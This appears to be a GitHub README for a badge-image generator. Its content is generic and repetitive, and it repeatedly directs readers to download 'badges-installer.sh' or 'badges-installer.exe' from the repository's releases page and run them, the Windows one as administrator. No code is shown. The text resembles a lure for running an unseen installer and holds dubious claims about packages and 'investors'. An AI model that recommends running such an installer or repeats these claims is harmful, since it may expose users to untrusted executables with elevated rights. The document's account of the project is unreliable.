https://github.com/achachaymen1986/badges/releases
A modular toolkit to generate, render, and deploy visual badges across projects.
Welcome to the Badges project. This repository serves as a flexible system for building and sharing badge visuals. It covers badge creation, display, and distribution. The goal is to make badges easy to generate in multiple formats, so you can mix them into READMEs, dashboards, websites, and documentation without writing custom graphics each time.
Below you will find detailed explanations of how the project is organized, how to get started quickly, and how to extend the system to fit your needs. The information here is designed to help both beginners and advanced users. You will discover practical examples, real-world use cases, and clear guidance on best practices for badge design and integration.
Table of Contents
- Quick Start
- What Badges Are
- Core Concepts
- Installation and Setup
- How to Build Badges
- Badge Styles and Templates
- Data Sources and Rendering
- Accessibility and Internationalization
- Repository Structure
- Developer Guide
- CLI Reference
- API Reference
- Testing and Quality
- Deployment
- Release Notes
- Contributing
- License
Quick Start
Prerequisites
- A computer with a modern Linux, macOS, or Windows environment.
- Node.js 18 or newer for the CLI tools. If you prefer another ecosystem, there are compatible options described later in this guide.
- A basic understanding of JSON, YAML, or TOML formats for badge configuration.
First steps
- Download the release asset and run the installer. The release page is the central place for downloadables, and a target asset exists for most platforms. The asset is designed to install the badge engine on your system with sensible defaults.
- If you want to review the exact asset before running it, the releases page is the place to look. Access it here: https://github.com/achachaymen1986/badges/releases
Note about the release asset
- The primary file for a typical setup is badges-installer.sh for Unix-like systems and badges-installer.exe for Windows. These installers package the runtime, CLI, and a starter set of templates.
- You run the Unix installer with a couple of simple commands. For example: bash badges-installer.sh
- For Windows, you will double-click the installer or run it from a command line as an administrator. After installation, you can invoke the badge tool from your shell with the badge command.
Quick start example: generate a simple badge
- Create a badge configuration file. The following JSON snippet shows a minimal example: { "name": "Build Status", "label": "CI", "message": "passing", "color": "brightgreen", "style": "for-the-badge", "template": "flat", "downloads": 0 }
- Run the generator: badge generate --config badge.json
- The command produces a badge image in SVG or PNG format, ready to embed in documents or websites.
What Badges Are
Badges are compact graphical indicators that convey a small amount of information at a glance. They appear as little chips or ribbons with a label, a message, and a color. They may display statuses like build results, test coverage, version numbers, or platform compatibility. In software projects, badges help teams communicate health and milestones without long readouts. They are reusable, shareable assets that stay consistent across documents.
The Badges Engine focuses on three core goals:
- Consistency: Use the same shapes, colors, and typography across all badges in a project.
- Flexibility: Create badges with various styles, sizes, and formats to fit different contexts.
- Simplicity: Provide a straightforward workflow to generate badges from simple configurations.
Core Concepts
- Asset: A generated image file (SVG or PNG) representing a badge.
- Template: A visual style for a badge. Templates define shapes, corners, and typography.
- Label: The left side of the badge. It usually describes what the badge represents.
- Message: The right side of the badge. It shows the status or value.
- Color: The badge color communicates meaning. For example, green often means success, red means failure.
- Style: A quick way to switch between a set of predefined looks, such as for-the-badge, flat, or plastic.
- Data Source: The origin of the data shown on the badge. This could be a local file, a URL, or a live API.
Installation and Setup
Package options
- Node.js package: The badge engine ships as an npm package for ease of use in JavaScript environments.
- Other ecosystems: You can access the engine through Python bindings, a Rust CLI, or a containerized workflow. The investors in this project have built cross-language adapters to cover common workflows.
Installation steps
- Node.js (CLI):
- Install: npm i -g badges
- Verify: badge --version
- Create a config file as shown in the Quick Start
- Docker:
- Pull: docker pull achachaymen1986/badges
- Run: docker run --rm -it achachaymen1986/badges badge generate --config /path/to/badge.json
- Python (bindings):
- Install: pip install badges
- Use: from badges import generate
- Rust (CLI):
- Install: cargo install badges-cli
- Use: badges-cli generate --config badge.json
File structure
- bin/ or cli/ – command line interfaces for various languages
- templates/ – predefined badge templates you can customize
- examples/ – ready-to-run samples that illustrate typical usage
- config/ – example configuration files in JSON, YAML, and TOML
- assets/ – static assets such as fonts and icons required for some templates
- docs/ – detailed documentation, design decisions, and best practices
- tests/ – unit and integration tests
- scripts/ – helper scripts to automate common tasks
How to Build Badges
Design philosophy
- Clarity: The content on a badge should be legible at small sizes.
- Contrast: Use colors with sufficient contrast against the badge background.
- Accessibility: Ensure badges meet color contrast guidelines and use accessible text.
- Extensibility: The design should accommodate new templates and data sources without breaking existing badges.
Template system
- Templates describe shape, radius, padding, font, and default color schemes.
- You can create a new template by adding a YAML or JSON file to the templates/ directory.
- Templates can be swapped at runtime or configured per badge.
Data sources
- Local data: You can feed a badge with JSON or YAML data stored locally.
- Remote data: Badges can fetch data from URLs or APIs. This lets you reflect real-time status like build results or test coverage.
- Caching: A lightweight cache ensures badges don’t flood your systems with requests.
Rendering
- SVG rendering is the default for crisp visuals at any size.
- PNG rendering is available for platforms that require raster images.
- SVGs offer easier styling via CSS when embedded in HTML or Markdown.
Badge Styles and Templates
Popular templates
- Flat: Minimalist, clean edges, bold colors.
- For-The-Badge: Classic look with a bold label and high contrast message.
- Plastic: Slightly glossy look with rounded corners.
- Minimal: Very clean with thin borders and subtle shadows.
- Powerline: A style inspired by the popular status indicators in the field.
Color palettes
- Primary: Blue, green, red, yellow for high-contrast branding.
- Neutral: Grays and soft tones for documentation pages.
- Custom: Define your own color set to match your brand.
Customizing a badge
- Change the label and message to convey the right information.
- Adjust color to reflect status or priority.
- Swap templates to achieve a different look while preserving data.
Data modeling
- Define a badge object with fields like label, message, color, style, and template.
- Validate data to prevent rendering errors.
- Support for translations lets you display badges in multiple languages.
Accessibility and Internationalization
Color contrast
- Ensure a minimum contrast ratio of 4.5:1 between text and background for readability.
- Provide alternative text or accessible descriptors when badges carry critical information.
Text scaling
- Enable font size adjustments in templates to meet accessibility needs.
- Avoid cramped text by setting padding and minimum width rules.
Localization
- Use translation keys for label and message strings.
- Store translations in locale folders (e.g., locales/en.json, locales/es.json).
- Fall back to a default language when translations are missing.
Images and assets
- The project uses inline SVGs for high-quality rendering.
- PNG fallbacks are provided for environments that do not support SVG.
- Icons are sourced from open icon libraries with appropriate licensing.
Repository Structure
- docs/
- Concepts
- Tutorials
- API references
- templates/
- flat.json
- for-the-badge.json
- plastic.json
- minimal.json
- powerline.json
- examples/
- readme-badges.json
- markdown-quickstart.json
- src/
- core/
- render/
- data/
- cli/
- tests/
- unit/
- integration/
- scripts/
- build.sh
- test.sh
Developer Guide
Coding standards
- Use clear, descriptive names for variables and functions.
- Write small, focused functions that do one thing well.
- Keep modules decoupled so they can be swapped or extended.
Testing
- Run unit tests after every change.
- Use integration tests to verify end-to-end badge generation.
- Validate outputs against reference images to ensure rendering accuracy.
Contributing
- Read the CONTRIBUTING.md for guidelines.
- Open issues to propose new templates or fixes.
- Submit pull requests with clear descriptions and tests.
- Follow the code style and run tests before submitting.
CLI Reference
- badge generate --config path/to/config.json
- This command creates a badge image from the provided configuration.
- Output formats include svg and png.
- badge list-templates
- Lists all available templates with descriptions.
- badge version
- Prints the current version of the badge engine.
- badge help
- Shows usage information and examples.
API Reference
- API surface focuses on public functions for:
- renderBadge(config)
- loadTemplate(name)
- fetchData(source)
- validateConfig(config)
- Typical usage pattern:
- Load a template
- Prepare data
- Render the badge
- Export to SVG or PNG
Examples Gallery
-
Build status badge
- Label: CI
- Message: passing
- Color: brightgreen
- Template: for-the-badge
-
Version badge
- Label: version
- Message: 2.3.1
- Color: blue
- Template: flat
-
Language support badge
- Label: i18n
- Message: en-US
- Color: orange
- Template: minimal
-
Platform compatibility badge
- Label: supported
- Message: linux | mac | win
- Color: purple
- Template: powerline
Usage scenarios
- Open-source projects often include a CI status badge to advertise build health.
- Documentation sites use version badges to keep readers informed about the current release.
- Product dashboards can display feature flags or uptime metrics with badge visuals.
Integrations
- Markdown embedding
- Web pages
- Include the badge SVG directly in HTML for high fidelity visuals.
- Documentation systems
- Many docs tools automatically render SVG or PNG assets and scale to fit content areas.
Templates and Style Kits
- Downloadable style kits provide cohesive branding across your project.
- Kits include pre-tuned color sets, font choices, and spacing metrics.
- You can build your own kit by creating a new template and a corresponding color palette.
Template Customization Guide
- Step 1: Choose a base template (flat, for-the-badge, etc.).
- Step 2: Create or modify a color palette to fit your branding.
- Step 3: Adjust label and message typography.
- Step 4: Save the new template to templates/ and test with a sample badge.
- Step 5: Share the template with your team or the community.
Data Source Plugins
- Local data plugin
- Reads data from a local file and injects values into the badge configuration.
- API plugin
- Fetches data from a REST API and maps fields to label and message.
- Webhook plugin
- Listens for events and updates badges in near real-time.
Security and Integrity
- Ensure downloaded assets are from the official release page.
- Use checksums where provided to verify integrity.
- Keep dependencies up to date to minimize vulnerabilities.
Release Page Guidance
- The releases page contains prebuilt assets and update notes.
- If the link changes or stops working, use the Releases section to locate the latest assets.
- The designated asset file for Unix-like systems is badges-installer.sh, and for Windows it is badges-installer.exe.
Note on the release link
- You can access the releases page via the direct URL: https://github.com/achachaymen1986/badges/releases
- The project provides cross-platform installers to streamline setup and ensure a consistent environment for badge creation.
Changelog and History
- v1.0.0
- Initial release with core templates and CLI.
- Added multi-language support and a flexible data model.
- Implemented SVG rendering with optional PNG export.
- v1.1.0
- Introduced new templates and improved color handling.
- Added accessibility checks and localization improvements.
- v1.2.0
- Enhanced templates for better branding alignment.
- Added API surface for external integrations and plugins.
Roadmap
- Extend template library with more platform-specific themes.
- Add real-time collaboration support for badge design.
- Create a marketplace for community badge templates.
- Improve caching strategies for API-backed badges.
Testing and Quality
- All changes go through unit tests covering core rendering logic.
- Visual regression tests compare generated SVGs with reference outputs.
- Linting and formatting checks run on every pull request.
Deployment
- The project ships as an npm package and as a set of installers for major platforms.
- Docker builds provide a reproducible environment for CI pipelines.
- Documentation is hosted within the repo and updated with each release.
Accessibility Checklist
- Confirm text remains legible at small badge sizes.
- Ensure sufficient color contrast for label and message text against backgrounds.
- Provide descriptive alternative text for each badge when embedded in pages.
- Support high-contrast modes in rendering for accessibility.
Design Decisions
- SVG as the primary format for crisp scaling and styling.
- A consistent template system to simplify branding.
- A minimal, predictable API for developers integrating badges into apps.
Community and Support
- Community channels include issue trackers and discussion forums.
- Report bugs with reproducible steps and attach sample badge configurations.
- Share new templates or style kits to help others adopt consistent visuals.
Releases and Distribution
- The Releases page hosts installer assets and template packs.
- Access the standard release channel to obtain official builds.
- You can verify the integrity of downloads using the checksums published with each release.
Usage Tips
- Start with a small set of badges to establish your branding baseline.
- Use a single template across your project to maintain visual consistency.
- Use descriptive labels and concise messages to convey status or value clearly.
- Prefer high-contrast color combinations to maximize legibility.
Troubleshooting
- If a badge fails to render, check the data mapping to ensure label and message fields exist.
- Confirm the selected template exists in templates/ and is loaded correctly.
- Verify that the data source is reachable and returns the expected fields.
FAQ
- Can I use these badges in static sites?
- Yes. SVGs and PNGs render well in static sites and GitHub READMEs.
- Do badges support localization?
- Yes. Provide translations for label and message and select the appropriate locale.
- Are there performance considerations?
- Rendering is fast for typical badge sizes. For API-backed badges, consider caching to reduce load on data sources.
License
- This project uses an open license that permits broad use and modification.
- See LICENSE.txt for the full terms and conditions.
End of file.